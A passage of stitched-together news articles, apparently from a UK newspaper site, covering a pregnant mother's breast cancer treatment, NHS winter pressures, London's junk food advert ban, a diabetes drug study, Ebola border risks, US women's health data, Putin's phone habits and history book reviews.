and very emotional when I think about the battles we have faced together. 'We will always share a special bond as we went through the toughest time together. He was with me every step of the way, even when he was inside me.' Mrs Jackson found a hard, non-moveable lump in her left breast in the spring. Initially, she was unconcerned because she had found normal lumps in the past, but something compelled her to see a GP. Mrs Jackson's world 'fell apart' when doctors told her she had grade three triple negative breast cancer. Grades assess how quickly the cancer is likely to grow - and grade three is the worst. Each year in the UK there are more than 55,000 new cases of breast cancer, and the disease claims the lives of 11,500 women. In the US, it strikes 266,000 each year and kills 40,000. Of these numbers, the dangerous triple negative ductal carcinoma mutation - which Mrs Jackson had - affects around ten to 20 per cent of breast cancers cases. The type of breast cancer can be more aggressive and difficult to treat, and there is a higher chance it will spread and reoccur. She was given two options - the safer option was to terminate the pregnancy and start treatment immediately. But Mrs Jackson chose the option that put her at a greater risk - to have surgery to stall the cancer from growing and wait until her baby had grown to a safe weight to be born before beginning chemotherapy. She said: 'Because I was pregnant, if I had a mastectomy it would buy the baby some time inside to grow and get stronger and they are getting rid of the cancer. 'Because of the pregnancy I couldn't have the usual tests to see if it had spread to the lymph nodes or around my body. 'I just had to wait until after I had the baby. I had to live with not knowing whether I was going to die soon or live to see my children grow up.' Mrs Jackson was 21 weeks into her pregnancy with George when she was diagnosed with grade three triple negative breast cancer - the category at the highest risk Mrs Jackson chose to stall her cancer treatment, giving birth to George eight weeks early. Pictured, while premature George was in neonatal intensive care 'I felt that if he died it would be my fault as he was being delivered early to save my life': Mrs Jackson chose to have a mastectomy to stall the cancer from growing and wait until her baby had grown to a safe weight to be born. Then, she would immediately have treatment Mrs Jackson ringing the bell to signify the end chemotherapy and radiotherapy on December 18, whilst holding her baby, George WHAT ARE THE SYMPTOMS OF TRIPLE NEGATIVE BREAST CANCER? The symptoms of triple negative breast cancer are similar to other breast cancer types. Symptoms can include: A lump or thickening in an area of the breast A change in the size, shape or feel of the breast Dimpling of the skin A change in the shape of your nipple, particularly if it turns in, sinks into the breast, or has an irregular shape A blood stained discharge from the nipple A rash on a nipple or surrounding area A swelling or lump in the armpit Triple negative breast cancers are cancers whose cells dont have receptors for the hormones oestrogen and progesterone and Her2 protein. A rare type of breast cancer known as basal type breast cancer is usually triple negative. Some women with triple negative breast cancer also have a BRCA1 gene fault. BRCA1 is one of the gene faults that can increase the risk of breast cancer within families. Some men have triple negative breast cancer but this is very rare. Most men have oestrogen receptors in their cancer cells. Source: Cancer Research UK Advertisement Mrs Jackson underwent a mastectomy this April, at 25 weeks pregnant, from which it was revealed that the cancer had spread, needing treatment immediately. She stalled this to have the C-section eight weeks before George's due date, although it is not clear what date he was born. On the day she was due to be induced, Mrs Jackson kissed goodbye her family - husband Matthew, eight-year-old daughter Lily, and six-year-old son Rohan - not knowing if she or her baby would survive. Mrs Jackson said: 'It felt like a whirl wind and a real mix of emotions, I was excited about our baby being born but also had a sense of dread as I was so frightened that he might die. 'I felt that if he died it would be my fault as he was being delivered early to save my life. 'I carried on regardless as there was no choice. Survival was the only option.' While her son George was taken to neonatal intensive care to be ventilated, Mrs Jackson had over 30 lymph nodes removed. Doctors found that only one of her nodes had cancer and the rest were clear. Mrs Jackson would still need chemotherapy and radiotherapy - but the family was relieved both she and her son had survived. She said: 'We had two glorious weeks at home with our family where we enjoyed having visitors and showing off our baby. 'But always in the back of my mind was it will end soon, and it did.' Unfortunately, during the treatment, George suffered with a dangerously high temperature and rigors, which was diagnosed as viral meningitis. Mrs Jackson said: 'The doctors said he was septic and very quickly they worked hard to stabilise him. 'The oncologist and breast cancer nurses tried to tell me that because I had no immune system I couldn't be with George. 'I obviously told them that I wouldn't be leaving him and I'd take my chances.' Mrs Jackson delayed her cancer treatment for a third time to be by her sick child's side. Mrs Jackson said goodbye to her children before she had the C-section, in fear she and her baby might not survive Mrs Jackson had over 30 lymph nodes removed after having her baby. Recovering in hospital it was found that only one of the nodes had cancer and the rest were clear, but she would still need chemotherapy and radiotherapy. Pictured, Mrs Jackson ill in hospital during treatment She said: 'They delayed my next chemo by a week to give us both a chance to recover. I took my chances and luckily for us I didn't pick up any bugs.' George recovered and Mrs Jackson went on to have chemotherapy and radiotherapy, which she finished on December 18. She will still be tested to ensure the cancer has not returned, as well as planning breast reconstruction and a potentially preventative second mastectomy. But for now, Mrs Jackson is grateful to be home for Christmas with her family, who had 'broken into a million pieces' during the ordeal. She said: 'I feel incredibly lucky! If I hadn't found the lump when I did then it would have definitely been a different story. 'This Christmas is extremely special as we have our family, our miracle baby and I'm alive which is a miracle in itself. 'I feel incredibly grateful and will be enjoying every moment of our family Christmas this year. 'My perspective on life has changed drastically and I just want to live every day as if it's my last and embrace life. 'This is George's first Christmas, so I want to make memories as if the cancer returns, we don't know what the future holds for us and I would worry that I may not be here for the next Christmas.' There were improvements on the previous week but pressure remains high All but three hospitals had more than 85 per cent of their beds full last week The Labour Party and Royal College of Nursing today warned of 'massive strain' The NHS is under crippling pressure heading into the Christmas period with nearly all hospitals 'dangerously' busy, experts have warned. Despite improved performance from the first week of winter, there is still 'massive stress' on the NHS and the situation is expected to worsen. The Labour Party, Royal College of Nursing and the Society for Acute Medicine all voiced concerns after seeing NHS statistics for last week. All but three English hospitals have more beds full than is safe, and 20,032 people waited in an ambulance for more than half an hour in the past fortnight. The levels of pressure on the NHS are 'not sustainable' and hospitals across England are operating at unsafe levels, experts have warned today Overall, 93.4 per cent of hospital beds were full last week the target to allow hospitals to operate safely is 85 per cent. But just three hospitals managed to keep 15 per cent of their inpatient beds free overnight for the entire week. Labour's Shadow Health Secretary Jonathan Ashworth said: 'Today's figures suggest an NHS struggling as we head into a period of huge pressure. 'Ambulance diverts are higher than last year and nearly all hospitals are operating at levels which are unsafe and dangerous. 'Years of austerity, cuts and chronic staff shortages are directly impacting on the frontline of the NHS and sadly patients are paying the price. 'This is simply unacceptable. 'Yet rather than leadership and grip from the Secretary of State we have a Government in civil war, the NHS long term plan has been shelved and the ongoing Brexit shambles overwhelms ministers. Patients deserve better.' A total of 30 ambulances were diverted away from the hospital they were heading to last week, up from 25 the week before. Around one in 10 patients are still having to wait 30 minutes or more after arriving at a hospital by ambulance, although this figure improved on the previous week. Fewer patients needed ambulances last week, with 96,284 patients after than 97,472 the week before. Bed occupancy, although still at an 'unsafe' level, was also down last week from 94.1 per cent. 'While Ministers have spent the past week squabbling over Brexit, hard-working NHS staff have been trying to care for patients in wards that are almost full to bursting,' said the Royal College of Nursing's Professor Dame Donna Kinnair. 'This is not sustainable. With the system working at its limit, a cold snap, flu outbreak or increase in cases of norovirus is all it takes to tip the balance. NOVEMBER A&E WAITS WERE LONGER THAN LAST YEAR Thousands more patients endured waits of at least four hours in A&E this November than during the same month last winter, data showed. NHS figures revealed 54,631 patients werent seen within the target time and 258 of them experienced waits of at least 12 hours. In comparison, 48,730 patients were left languishing about in busy A&E departments during November 2017 nearly 11 per cent fewer. Former Health Secretary Jeremy Hunt was forced to admit last years was the 'worst winter ever' amid a severe outbreak of flu and cold weather. The number of patients left waiting four hours to be seen in A&E climbed throughout the summer of 2017, before spiking between December and March last year. And the same trend appears to exist for this winter, with the total having risen by around 5,000 people for every month since August. The NHS figures also showed 87.6 per cent of patients who visited A&E across England in November were seen within four hours - the lowest monthly total since March this year. Advertisement 'This winter will test our health and social care services and nurses will do the best they can, but there is a limit to what they can do without the support of policymakers. 'Unless the Government and NHS England take urgent steps to address the 42,000 nurse vacancies in England, our health and social care system will continue to struggle and patients will continue to pay the price.' Monthly data for November last week showed cracks were showing in A&E departments, which bear the brunt of patients flooding in in the colder months. A total of 54,631 people were left waiting for more than four hours for a bed in after doctors decided to keep them in hospital. This was 12 per cent higher than in the same month last year. And among those patients, 258 people waited at least 12 hours to be treated, more than double the number for November 2017. Dr Nick Scriven, president of the Society for Acute Medicine said: 'As we approach the holiday season the pressure on the frontline of healthcare is ever-increasing. 'We can see in today's data there is massive stress on the system with nine hospitals showing more than 99 per cent full even on their best days. 'Additionally, these figures don't show the whole picture as they are massaged by including specialist centres, such as children only, which always run at 70 per cent.' An NHS spokesperson said: 'NHS performance in key areas has improved this week, which is a testament to the hard work of the service's staff, in and out of hospitals, across the country. That includes GPs and their teams delivering evening and weekend appointments in every part of the country, doctors and nurses providing expert advice through NHS 111, and ambulance and A&E staff standing ready to deal with emergencies. 'Hospital bed occupancy fell compared to the week before, and was also lower than the same week a year ago. 'The proportion of NHS staff who have had the flu vaccination is also up on last year, which was itself a record high. 'But since the festive period is often a challenging time for the NHS, the public can help us help them stay well. 'Keeping homes warm helps and, as the British Heart Foundation have said today, it's vital that those who are eligible and haven't yet got their free NHS flu jab do so now.' Sadiq Khan was accused of being a 'Scrooge' today because of his controversial plans to ban mince pie and cake adverts on public transport. The Mayor of London was slammed over claims the move could prevent cancer charity Macmillan from advertising its coffee and cake events, which raise millions of pounds. When Mr Khan explained the charity may have to change its adverts, a Tory politician branded him a Grinch and compared him to Scrooge, the Christmas-hating Dickens character. Cakes and mince pies would no longer be allowed to be advertised under the new plans because of their sugar content. London Assembly member Andrew Boff said afterwards Mr Khan was 'mean-spirited' and 'hardworking Londoners deserve a treat or two over the festive period'. Sadiq Khan, Mayor of London, was left 'speechless' by Mr Boff's Scrooge jibe and stared blankly at him for a few seconds before shaking his head and saying 'It was never my intention to be Ebenezer Scrooge, does that help?' Mr Boff, a member of the Greater London Authority Conservatives, began the fiery exchange by raising concerns about Macmillan Cancer Support's advertising. He said the TFL advert ban would prohibit Macmillan's vital coffee morning ads as an 'unintended consequence'. The 'world's biggest coffee mornings' are a regular fundraising drive for Macmillan, which offers support for people with cancer and their families. So far the charity has raised more than 25million from the events but there are fears it would be unable to show cake in its adverts under new rules. Mr Boff said: 'Londoners will be horrified to learn that the Mayor has such a nasty Christmas present in store for Macmillan Cancer Support. 'Macmillan rely heavily on donations in order to carry out their invaluable work, yet Sadiq Khan has chosen to ban them from advertising one of their key fundraising events. This is a callous, mean-spirited and insensitive move. 'This whole ban is entirely flawed and should be scrapped - but failing this the Mayor needs to put an exemption in place for our brilliant charities such as Macmillan.' Mr Khan said in the Mayor's Questions this morning: 'We know from our conversations with those who advertise on TFL that they're very happy to tweak their adverts to make sure they don't fall foul.' And he added: 'I'd be astonished if Macmillan Coffee Mornings weren't advertised on the TFL estate in future as they have been in the past.' Andrew Boff, a member of the Greater London Authority Conservatives, said he was worried Macmillan Cancer Support would not be able to advertise its coffee and cake mornings which have raised millions of pounds for the charity Mr Khan argued the charity could tweak its adverts to avoid falling foul of the rule and said he would be 'astonished' if Macmillan stopped advertising as a result of the ban The ban on junk food adverts is expected to come into force at the end of February and will cost 13million a year. WHAT IS SADIQ KHAN'S JUNK FOOD ADVERT BAN? A ban on junk food advertising across London's public transport system will be introduced on February 25 2019. The capital's mayor Sadiq Khan confirmed the 'tough action' initiative, which is part of the London Food Strategy to reduce child obesity in the city by 2028. Promoting products such as sugary drinks, chocolate and burgers will be prohibited across the entire transport network, including the Tube, bus stops and the London Overground. The restrictions also outlaw goods deemed 'less healthy' by Public Health England, such as salted nuts. However, fast-food chains will still be allowed to promote their healthier products, such as salads, as long as they are low in fat, salt and sugar. Professor Dame Sally Davies, chief medical officer for England said in November: 'Child obesity remains a concern to me, particularly the persistently high levels amongst London's most disadvantaged communities. 'Evidence shows we need to take action on a number of fronts, and it is clear that the Mayor's action is an important step in the right direction.' Advertisement Mr Boff also said, because of mince pies' sugar content, adverts for them would be banned next Christmas. This made Mr Khan a 'Grinch', he claimed. And he asked the mayor if he had intended to become Ebenezer Scrooge, the selfish Christmas-hating character in Charles Dickens's 'A Christmas Carol'. Mr Khan, clearly flabbergasted, said he was left 'speechless' by the outlandish question. He then said: 'It was never my intention to be Ebenezer Scrooge. Does that help? 'The intention was to ban adverts for junk food so that's what the consultation was about, that's what the plans are, and in due course those adverts will be banned.' Mr Khan, clearly losing patience with Mr Boff's questions, had earlier explained he listened to health experts rather than advertising executives when deciding on the ban. He said: 'I think we have a health crisis when it comes to obesity and overweightness in our children. 'These children have problems when they're young, being obese and overweight, but these problems will carry forward to when they become adults. 'From a whole host of issues from heart disease, from increased chances of having cancer, to being a burden on the National Health Service and also quality of life and enjoyment. 'If we can take measures to make sure there are fewer children who are obese and overweight, fewer adults who are obese, who are overweight ... I will do so. 'They may criticise me, he may even try to mock me, I'm not going to [back down] from my commitment to make our city as healthy as we possible can. Merry Christmas.' A Macmillan Cancer Support spokesperson said: 'We are aware of the forthcoming changes to rules around advertising on London transport. 'We are working to fully understand the implications for Worlds Biggest Coffee Morning, and make sure that we are still able to raise awareness and encourage people to take part in this annual fundraising event.' Macmillan Cancer Support could be banned from using adverts such as the above on TFL billboards because foods containing high levels of sugar or fat will no longer be publicised A spokesperson for the Mayor of London added: 'Adverts for charity fundraising events, such as cake sales or coffee mornings, would not face an automatic ban from the Transport for London network under the Mayors policy. 'This policy is not about telling Londoners what they can and cant eat or drink. 'Its purpose is to remove advertising which promotes food and drinks which are high in fat, salt and sugar. 'Adverts which feature incidental images of these products may be permitted under the policy we would always seek to engage with the advertiser to help them fully understand the policy and its aims, particularly charities seeking to promote their events and activities on the TfL network. 'Child obesity is a ticking timebomb in London and the Mayor makes no apologies for taking bold steps to tackle it head-on.' A newly-developed drug cocktail makes insulin-producing cells multiply - a discovery that could lead to a cure for diabetes, researchers claim. People with diabetes have a shortage of beta-cells, which make insulin. Without enough insulin, they are unable to properly process glucose. The team, from the Icahn School of Medicine at Mount Sinai Hospital in New York, had already discovered that a drug called harmine could supercharge the pancreas cells to make 10 times more insulin-making beta cells a day. What's more, when harmine was given in combination with a second drug - normally used to boost bone-growth - 40 times more beta cells formed a day. The drug is experimental and in early stages of testing, but the researchers think that its powerful effect on insulin-producing cells could be a game-changer in the treatment of both type 1 and type 2 diabetes. A newly-developed drug cocktail makes insulin-producing beta cells (pictured) multiply - a discovery that could lead to a cure for diabetes, researchers claim According to the Centers for Disease Control and Prevention, 30.3 million Americans - about 9.4 percent of the population - suffers from diabetes. Another estimated 84 million are living with prediabetes, a condition that can lead to type 2 diabetes within five years if left untreated. Diabetes occurs when there are too few beta cells in the pancreas to produce insulin or when they produce very little insulin, the hormone needed to get glucose from the bloodstream into cells. When left untreated, diabetes can result in serious health complications such as kidney damage, eye damage, heart disease, stroke and even vision loss. The loss of beta-cells has been linked to causing type 1 diabetes, in which the immune system mistakenly identifies beta cells as invaders and destroys them. More recently, scientists have discovered that having a deficient number of functioning beta cells can contribute to the development of type 2 diabetes. According to lead author Dr Andrew Stewart, director of the Mount Sinai Diabetes, Obesity, and Metabolism Institute, no available diabetes drug regenerates beta cells in patients with the condition. The current study is a continuation of past work done by Dr Stewart and his team. In 2015, they published a study which found that a drug called harmine - found in the ayahuasca vine - helped produce new adult human beta cells at low rates. A second study published in 2017 found genetic abnormalities in insulinomas, tumors of the pancreas that are derived from beta cells and secrete insulin. The researchers discovered the tumors held a 'genetic recipe' of how to make beta cells regenerate. In the current study, the team identified a second class of drugs that causes human beta cells to rapidly replicate when given in combination with harmine. Without drug intervention, beta cells replicate at average rate of 0.2 percent per day. When harmine is administered, the rate is two percent per day. But when harmine is given in combination with the new drug, this rate increases to between five and eight percent per day. 'We are very excited about this new observation because for the first time, we are able to see rates of human cell beta cell replication that are sufficient to replenish beta cell mass in human beings,' Dr Stewart said. 'We have discovered a drug combination that makes beta cells regenerate at rates that are suitable for treatment. The next big hurdle is figuring out how to deliver them directly to the pancreas.' Dr Stewart says one challenge, however, is that this drug combination has effects on other organs, although he didn't specify what those effects were. 'We now need to develop methods to deliver these drugs specifically to the beta cell in humans,' he said. 'We have the packages to deliver, but now we need a courier system to deliver them to the exact beta cell address.' Christmas travel could trigger the Ebola outbreak to spread from the Democratic Republic of Congo to Uganda, experts fear. Officials have warned that thousands of families will make the journey over the border to visit family and buy food during the festive period. But the World Health Organization are concerned this heightens the risk that the killer Ebola virus will also make the same journey. The ongoing outbreak in the DRC is the second biggest to ever be recorded, with figures showing 319 people in the African nation have died so far. Countries bordering the DRC, including Uganda, are already on high alert, as health experts said the virus moves closer every day. The death toll of Ebola has reached a suspected 319, including 271 confirmed, in the Democratic Republic of Congo during the second biggest outbreak in history Andrew Bakainaga, a senior WHO official in Uganda, said: 'Christmas is a particular concern because we know there is a lot of movement as people buy food and visit family. 'We expect the number of people moving across the border might increase from around 300,000 to 500,000 per month. Figures have confirmed that 491 people have been struck down with Ebola in the DRC with a further 51 currently undergoing testing. The WHO data also revealed the confirmed death toll is 271, as the remaining 48 deaths continue to be thoroughly investigated. 'The next month, over Christmas and New Year, will be critical to what happens to this outbreak,' Dr Jeremy Farrar, director of the Wellcome Trust, told MailOnline. The UK-based charity has funded research into one of many vaccines being used to try and stem the outbreak in the DRC Provinces North Kivu and Ituri remain at the centre of the outbreak, but measures have been taken to secure the safety of Uganda and South Sudan. The Lhubiriha River lies on the border between the DRC and Uganda, where families, farms and markets are shared. Busy travelling periods at Christmas could spread the deadly Ebola further, experts have warned. Pictured, a member of the medical staff at a DRC - Uganda border Fearing Ebola will easily pass across the communities, organisations are working to keep measures tight. Pictured, a medical assistant uses a non-contact thermometer to check the temperature of people at the border between the Congo and Uganda, December 12 Less than 40 miles (70km) away, authorities have already confirmed one case of Ebola - which was responsible for a brutal epidemic in 2014. 'This distance keeps on reducing,' said Samuel Kasimba, a local health official in charge of coordinating the effort to stop Ebola from entering Uganda. 'The outbreak is moving closer to Uganda. In case it comes, God forbid, we are ready.' Fearing Ebola will easily pass across the communities, organisations are working to keep measures tight. Regular commuters reportedly have had red rashes on their hands from repeated washing in the harsh chlorine, one of several measures to try and prevent the virus from spreading. On top of this, more than 123,000 Congolese refugees have journeyed to Uganda seeking refuge from communal violence in the past year. People from Democratic Republic of Congo (DRC) wash their hands at the Ebola screening point bordering with DRC in Mpondwe, western Uganda, December 12 A medical assistant uses a non-contact thermometer to check the temperature of people crossing the border in Mpondwe, western Uganda, December 12 Regular commuters reportedly have had red rashes on their hands from repeated washing in the harsh chlorine. Pictured, a woman from DRC disinfects her feet at the Ebola screening point bordering with DRC in Mpondwe, western Uganda, December 12 Tracking suspected contacts of Ebola victims remains a challenge in areas controlled by rebels. Aid workers face the threat of attack from armed groups and resistance from a wary population in a region that had never faced an Ebola outbreak before. Armed rebels have attacked, kidnapped and killed medical staff trying to combat the outbreak and equipment has been destroyed, making it difficult to help victims. The treatment of Ebola itself has taken an experimental turn in DRC, where scientists are now conducting a real-time study of how well pioneering drugs work. Four experimental drugs are being used to try and combat the disease mAb 114, ZMapp, Remdesivir and Regeneron. Patients will get one of the four, but researchers won't know which they were given until after the study. Dr Farrar said: 'Thousands of lives are being saved thanks to the dedication of nurses, doctors and health care workers. 'The Ebola vaccine and now also potential treatments available as part of clinical trials are having a huge impact. 'But, we are in a crucial phase and it is an incredibly challenging and frightening environment for health workers.' Women in the US are more distressed, more diseased and more likely to die during childbirth than those in other wealthy nations - but they pay more for healthcare, a new study finds. In the US, more than one third of women said that they skipped going to a doctor or hospital when they were ill or injured, simply because they were afraid they couldn't afford the bill. That's a problem, considering that 20 percent of American females have one or more chronic disease, according to the new data. In line with previous research, the Commonwealth Fund also reports that for 14 mothers die for every 100,000 children born, reflecting the abysmal state of maternal care in the US. For every 100,000 babies born in the US, 14 mothers die - a higher maternal mortality rate than any other wealthy nation has, a new report finds In the US, 44 percent of women (orange) report struggling to pay medical bills, as compared to just two percent in the UK (far left) Women's health care has emerged as a significant public health issue in the US. As long humans have been walking the earth, women have been giving birth to children. Yet, despite a history that far outstretches our knowledge of other top causes of death - like heart disease, diabetes and cancer - childbirth remains the sixth leading cause of death for US women. Rates are higher in developing nations, but the mortality risks and disease burden faced by American women underscore gaps in understanding and care. The Commonwealth Fund sought to compare health risks and outcomes for women in the US to those for women around the world - particularly those living in similarly wealthy nations. Researchers there analyzed survey data collected on over 9,000 women worldwide. Though their samples from each country were small, the findings were consistent with prior research. Women in the UK were, by and large, happy with their health and medical care, with 62 percent rating the care 'excellent' or 'good.' By contrast, less than a quarter of the American respondents rated their quality of care highly. In a similar vein, only five percent of women in the UK said that, in the last year, they have opted not to see a doctor out of fear that they couldn't afford the bill. One third of women in the US said that they had had at least one issue with a medical bill. For over a quarter of American women, medical costs for themselves or their families exceeded $2,000 in a single year. By comparison, just five percent of women in the UK spent that much. For every 100,000 babies born in the US (orange), 14 mothers die in pregnancy or childbirth - twice as many as perish in Canada Perhaps those high expenses were among the reasons that over one third of women in the US reported opting out of doctor appointments - even when they knew they needed to go. Financial stress may have been on of the drivers of high rates of 'emotional distress' among American women, 34 percent of whom reported serious depression, anxiety or difficulty coping. 'The relationship between emotional distress and health is complex, but some research shows as well as lead to such as the ability to work,' the researchers wrote. And women in the US have poorer physical health than those in any other wealthy nation. Indeed, 20 percent of the American women surveyed had multiple chronic conditions, such as arthritis, lung disease, diabetes, high blood pressure or heart disease. When women became pregnant, risks that the healthcare system would let them down only increased. Rates of complications and C-sections are high in the US, where twice as many women die in pregnancy or childbirth than do in its northern neighbor, Canada. Breast cancer screening rates are best in the US out of the 11 countries involved in the study, but otherwise, the authors note: 'Women in the United States have long lagged behind their counterparts in other high-income countries in terms of access to health care and health status.' Kremlin spokesman Dmitry Peskov said that Russian President Vladimir Putin does not use a smartphone. Peskov said that using a smartphone envisaged full transparency which a president, "especially the president of such country as Russia, and such president as Putin" could not afford. The presidential spokesman continued by saying that life had taught him not to trust one source of information or a media outlet, adding that he always sought to check information he received. "There are various folders with printouts, digests printed on paper and TV digests. There a variety [of sources of information] The president can surf the internet by himself on a computer," Peskov told the Rossiya 24 broadcaster, when asked from what sources Putin received information. "As far as I know, he does not have a telephone," Sputnik cited him as saying. HISTORY BOOKS OF THE YEAR CHURCHILL: WALKING WITH DESTINY by Andrew Roberts (Allen Lane 35, 1,152pp) CHURCHILL: WALKING WITH DESTINY by Andrew Roberts (Allen Lane 35, 1,152pp) Another Churchill biography? Surely thats as unnecessary as a second referendum. But Andrew Robertss immensely readable and engaging addition to the already vast oeuvre posed for me a timely question: are sheer bloody-minded grit and bulldog determination really enough to win the day against impossible odds? They were for Churchill but now? For all the failures in his political life with the disastrous Gallipoli campaign in World War I just one of many he proved himself equal to a crisis. When the crunch came, he, unlike more timid contemporaries, had the vision to call correctly the biggest issue of the time: that Hitler had to be faced down and damn the consequences. Just as importantly, he had amassed the political skills, the rounded life experience that comes from both success and failure and the sheer strength of personality to be a leader who, against the odds, could pull this off. He had the oratory too that soaring ability to persuade and inspire, to win over hearts and minds to a common cause. (Yes, he told lies, he exaggerated, he talked setbacks into victories regrettable but necessary for the greater good, as he argued.) Our politicians today are sound-bite ciphers, robots or clowns by comparison. This book is a reminder of what greatness is, and how far short of it they fall. Too many, on all sides in the Brexit debacle, believe destiny is calling them, as it did Churchill in 1940. But is there a new Churchill among them at this hour of need? I fear not. THOMAS CROMWELL: A LIFE by Diarmaid MacCulloch (Allen Lane 30, 752pp) THOMAS CROMWELL: A LIFE by Diarmaid MacCulloch (Allen Lane 30, 752pp) Nor is there anyone with the political genius of Thomas Cromwell, the architect of the original Brexit Englands split from the pan-European power of the Pope in Rome in the 16th century. He did this initially so his royal master, Henry VIII, could divorce the queen who had failed to provide him with a son, and marry Anne Boleyn. In the process, he established the supremacy of the Crown, national independence from a foreign overlord and the distinctive Protestant nature of the Church of England. What gave the low-born Cromwell the edge to carry through such fundamental change was that he combined the skills of businessman, lawyer and astute politician to outmanoeuvre the aristocrats of the Tudor court. His meticulous, almost obsessive attention to every last detail was the key to his success, along with a ruthlessness and ambition that helped him acquire positions, wealth, power and enemies. He fell in the end because Leaver Henry turned out to be a closet Remainer when it came to religion. Clinging to the Catholic faith and distrusting Cromwells brand of Protestantism, he cut off his chief ministers head out of pique and promptly regretted it. The book is a master-class in good, old-fashioned academic history as MacCulloch, professor of church history at Oxford, brings Cromwell to life exclusively from contemporary sources. No speculation or flights of fancy, just brilliant detective work in the archives. Hard going at times but well worth it. WRITTEN IN HISTORY: LETTERS THAT CHANGED THE WORLD by Simon Sebag Montefiore (W&N 14.99, 272pp) WRITTEN IN HISTORY: LETTERS THAT CHANGED THE WORLD by Simon Sebag Montefiore (W&N 14.99, 272pp) Private letters are crucial building blocks for the historian, their authentic voices a passport to the realities of the past and so much more discreet and revealing than emails and texts are ever likely to be. Simon Sebag Montefiores entertaining and enlightening miscellany includes Gandhi, Napoleon, Picasso, Mozart and a hundred more across the centuries to dip into and pull out pearls from. Some are truly revolutionary and visionary such as Christopher Columbuss 1493 message to King Ferdinand and Queen Isabella that he has sailed west across the ocean and discovered many new islands. He reassures them that I saw no monsters. Others are very personal a defiant Mark Antony insists hes done nothing wrong in sleeping with Cleopatra. Then theres Hitler explaining to Mussolini why hes about to invade Russia, signing himself off With hearty and comradely greetings and unaware that this was the action that would ultimately lose him the war. Not all changed the world Leonard Cohens farewell to his muse Marianne is not in that category but all are fascinating, as are the compilers comments on each letter, little gems of potted history in their own right. VIETNAM: AN EPIC TRAGEDY by Max Hastings (William Collins 30, 896pp) VIETNAM: AN EPIC TRAGEDY by Max Hastings (William Collins 30, 896pp) As the war in Vietnam unfolded, Britons of my Sixties vintage watched from the sidelines, thank God. Labour prime minister Harold Wilson ignored tongue-lashings from President Lyndon Johnson in Washington for refusing to send British troops. Ill always be grateful to him for keeping us out. It wasnt our war but we students took sides anyway, with mass protests against American aggression LBJ, LBJ, How many kids have you killed today? and Ho Chi Minh chants of support for the freedom-fighters, the communist Vietcong. It all seemed so black and white. Of course, it wasnt. Max Hastingss account, combining politics, military history and ordinary people in his masterly way, is clear there was no moral high ground anywhere in that brutal conflict, marked by terrible violence and searing, never-forgotten images of death and destruction on both sides. After the last defeated American was spirited away on a helicopter from falling Saigon, the upshot of all that killing was a united Vietnam but one that resembled a prison camp and a bruised, bewildered, humiliated U.S. rendered morally bankrupt in the eyes of the world. ARNHEM by Anthony Beevor (Viking 25, 480pp) ARNHEM by Anthony Beevor (Viking 25, 480pp) What turns battles is often not the enemy but the over-reaching egotism and dubious motives of the commanders who plan them. Arnhem was far-fetched from the moment Britains Field Marshal Bernard Montgomery proposed flying Allied paratroopers to eastern Holland, seizing the bridge across the Rhine and launching a surprise attack through the back door into Hitlers Germany in September 1944. It was a product of his self-obsession with getting one over on the Americans. He felt slighted that they were grabbing pole position for the invasion of the Third Reich. Ill show them how its done, was his response. High-risk even on paper, to have any chance of success the operation depended on precision, co-ordination and good luck. But when boots were on the ground, none of these happened. The result was a shambles, with communication lines hopelessly over-stretched and those at the front of the assault outgunned and outflanked. With his telling eye for personal detail, Beevors roundly researched account of the battle is overladen with gloom that so many men fought heroically but went to their deaths or into captivity for no good reason. He quotes a despairing officer who watched his men fall one by one to sniper fire and could only hope that the sacrifice that was ours will have achieved something yet I feel it hasnt. CRUCIBLE by Jonathan Fenby (Simon & Schuster 25, 624pp) CRUCIBLE by Jonathan Fenby (Simon & Schuster 25, 624pp) The 13 months from June 1947 to June 1948 are when the modern world as we know it was forged, according to Jonathan Fenby, sadly stacking up more problems than solutions and bequeathing us global troubles that, 70 years on, are still flashpoints. In the aftermath of World War II, there was flux and change everywhere, as if the world were re-calibrating and re-booting itself all in one go. Old certainties went out of the window; new alliances formed. The British left India in a hurry and religious groups fought each other for supremacy in a civil war of such violence that the only solution was partition between India and Pakistan, leaving a terrible legacy of hate. At the same time, Israel was forcibly created out of Palestine, in the teeth of deep-seated Arab opposition and displacement, seeding decades of a dangerous conflict still unresolved. Europe split into the armed camps of western capitalism, led from Washington, and Soviet communism, led from Moscow. Lands were fought over and divvied up between the super-powers. Germany was divided. That Iron Curtain descended and instead of peace there was a Cold War. Fenby plots these changes month by month as, across the globe, a brand new world emerged one every bit as fragmented, perhaps even more so, than the one it replaced. COLD WAR A SPY NAME ORPHAN: THE ENIGMA OF DONALD MACLEAN by Roland Philipps (Bodley Head 20, 448pp) A SPY NAME ORPHAN: THE ENIGMA OF DONALD MACLEAN by Roland Philipps (Bodley Head 20, 448pp) Two things never cease to amaze about the Cambridge spy ring exposed in the Fifties. First, that these closet communists who sold their souls to the Soviet Union were allowed to reach some of the most sensitive positions in British government circles; second, that their indiscreet personal behaviour never raised any doubts that they might be security risks. Donald Maclean was given two nicknames at the Foreign Office Sir Donald, because he was a brilliant Whitehall mandarin tipped for the top job as Permanent Secretary, and Gordon, after the gin he was often drunk on. This incompatibility should have triggered red-flag warnings. Instead, since he was so palpably one of us aristocratic air, MP father, public school education, first from Trinity Hall the deluded, self-serving Establishment failed to realise that, in reality, he was one of them, a mole working undercover for Stalin. Drawing on classified government files not released until 2015, Roland Philipps reveals the truth about the troubled toff who was a genuine convert to communism in his student days and recruited by the Russians with the deliberate intention of infiltrating the Civil Service. As this superbly told tale unfolds, you find yourself screaming in exasperation why the hell did no one notice until it was too late? THE SPY AND THE TRAITOR by Ben Macintyre (Viking 25, 384pp) THE SPY AND THE TRAITOR by Ben Macintyre (Viking 25, 384pp) Like Maclean, Oleg Gordievsky was a believer who switched sides though in the opposite direction. A senior KGB officer, he came to hate the dour Soviet regime in Moscow and its denial of freedom. Seeking its downfall, he took the huge personal risk of dangling himself in front of MI6, who (cautiously at first) snapped him up and made him its most successful double agent. The story of his recruitment, his spying activities as he rose to be the top KGB man in the Soviet embassy in London, then his grim encounters with the Moscow spy-catchers and hair-raising escape from Russia under the noses of suspicious Soviet minders is told with the panache of a spy thriller. And its all the more gripping because this is real life, not fiction. But, as well as the drama, what is fascinating is to discover what the West learned from Gordievsky. He passed on a deep, insiders knowledge of the inner workings of the KGB and the paranoid mindset of the Kremlin. This was invaluable to the likes of Margaret Thatcher and Ronald Reagan in deciding how to stand up to the Soviet leadership without frightening them into precipitating World War III. More than 30 years since his defection in 1985, Gordievsky still lives in hiding for fear of a revenge attack. His caution is wise, given the attempt to assassinate a more recent double agent and defector, Sergei Skripal, in 